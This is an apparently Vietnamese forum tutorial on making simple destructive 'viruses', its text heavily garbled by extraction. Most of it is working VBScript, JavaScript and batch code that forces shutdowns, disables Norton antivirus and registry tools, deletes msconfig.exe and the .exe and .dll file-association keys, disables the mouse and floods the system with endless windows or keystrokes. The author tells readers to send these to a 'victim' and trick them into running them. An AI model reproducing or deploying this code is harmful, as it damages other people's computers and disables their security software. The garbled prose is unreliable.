Hướng dẫn làm virus - virut phá hoại đơn giản + Code VBs

ướ ạ ơ ả

H ng d n làm virus - virut phá ho i đ n gi n + Code VBs ả ẫ H ng d n làm virus - virut phá ho i đ n gi n + Code VBs ướ

ạ ơ

ẫ

ng d n các b n. ấ ấ ơ ả ạ ự ầ ẽ ướ ữ ộ ạ ạ ở notepad và ch n m t trong nh ng đo n mã sau, các b n ọ ẫ ạ T làm y 1 con VR r t đ n gi n ,hôm nay slm s h Đ u tiên các b n m copy đo n mã vào notepad và l u d i đuôi VBS. ví d : slm.vbs ch ng h n.. ư ướ ụ ạ ả ạ

t máy tính ẽ ắ ệ ộ

* m ra m t thông đi p vui sau đó s t ở CODE Code: @echo off msg * em la slm ,bb anh! shutdown -c "virus slm" -s -t 10

t o cho mình 1 "chú" Virus d ỉ ớ ạ ể ự ạ ướ i Ch v i Notepad hay Wordpad b n đã có th t d ng VBSCRIPT ho c Javascript r i: ồ ạ ặ

D i đây là code c a m t s con virus nh d i d ng VBS: ộ ố ỏ ướ ạ ướ ủ

1.Không cho victim kh i đ ng máy: ở ộ

Code: Code: Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2. Disable NAV:

Code: Code: Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD"

3. Hi n th m t message m i khi reboot máy: ị ộ ỗ ể

Code: Code: dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win

Logon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "http://allformy.topcities.com" wsh.RegWrite s1+s3, "Hi ! Toi la SLM- Toi den tu truongton.net"

4. Hi n th m t dòng l nh khi click vào file hay folder:, ị ộ ể ệ

Code: Code: set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"

5. Làm cho các trò trên ho t đ ng bình th ng: ạ ộ ườ

Code: Code: Dim objShell Set objShell = CreateObject( "WScript.Shell" ) s1 = "HKEY_USERS\. Default\Software\Microsoft\Windows\CurrentVersion\ " s2 = "Policies\System\DisableRegistryTools" objShell.RegWrite s1+s2,1, "REG_DWORD"

D i d ng Javascipt : ướ ạ

Code: Code: var wsh; wsh=new ActiveXObject ("Wscript.shell");

// Winlogon when reboot

var s1 = " HKLM\\Software\\Microsoft\\Windows\\CurrentVersion \\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;

wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

//Disable Registry var s1 = "HKEY_USERS\\. Default\\Software\\Microsoft\\Windows\\CurrentVers ion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; wsh.RegWrite (s1+s2,0,"REG_DWORD");

//Delete file Msconfig.exe Code: Code: var fso; fso=new ActiveXObject("Scripting.FileSystemObject"); var fe=fso.getfile("C:\\windows\\msconfig.exe); fe.delete true;

//Shutdown windows

//Disable Mouse

wsh.run ("RUNDLL32.EXE mouse,disable");

//Hang up windows

wsh.run ("rundll32 user,disableoemlayer");

i m t tin nh n Xóa khóa Registry Files * xóa các t p tin registry key, sau đó l p l ậ ặ ạ ộ ắ

CODE Code: @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO slm chuc anh 1 ngay vui ve. GOTO MESSAGE

ấ ậ ế ị -Endless Notepads * Đi u này s b t lên Notepads b t t n cho đ n khi máy tính b đóng băng và các ẽ ậ ề v đ ng * ụ ụ

CODE Code: @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

-Crazy caps lock * không ng ng quay caps lock và t t nhanh chóng liên t c * ừ ắ ụ

CODE Code: Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop

--Endless ENter * Ép enter liên t cụ

CODE Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

--Endless Backspace * làm cho phím backspace liên t c b ép * ụ ị

CODE Code: MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

* làm cho đĩa CD liên t c v t ra * ổ ụ ọ

CODE Code: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop

T t c các code trên l u v i đuôi VBS ư ớ ấ ả

Còn nh ng cái này l u d

i d ng slm.bat(đuôi .bat)

ư ướ ạ

ữ

L p l i n l n chu kỳ mess ặ ạ ầ

Code: @ECHO off :Begin msg * Hi msg * khoe ko anh ? msg * em slm ne msg * buon ngu chua? msg * tat may ngu thoi ,bb anh GOTO BEGIN

Auto shutdown Code: @echo off msg * slm yeu anh shutdown -c “Error! t m biet anh!” -s ạ

ể i (ch nên th v i vài con ko nguy ử ớ ố ẽ ị ươ ng ỉ ờ ậ ư ắ ệ ồ ừ Ở ử Ai ko làm đc. thì dôwnlad file đính kèm d ở ướ t máy hay hi n thông đi p).T m th i v y đã,1 s con s b ch hi m nh t ạ ệ trình d t VR phát hi n ,1 s con thì ko,g i cho victim r i l a nó kick vào . ph n ti p slm s h ng d n các b n làm d ố i d ng exe và html up lên web ,đ i ệ ẽ ướ ướ ạ ố ẫ ệ ế ạ ầ

ươ ẽ ướ ạ i d ng file nh .jpg đ ả ể ng ươ ng ch vi c kick vào link là s dính,và ép VR d ph ỉ ệ đánh l a đ i ph ừ ố slm update...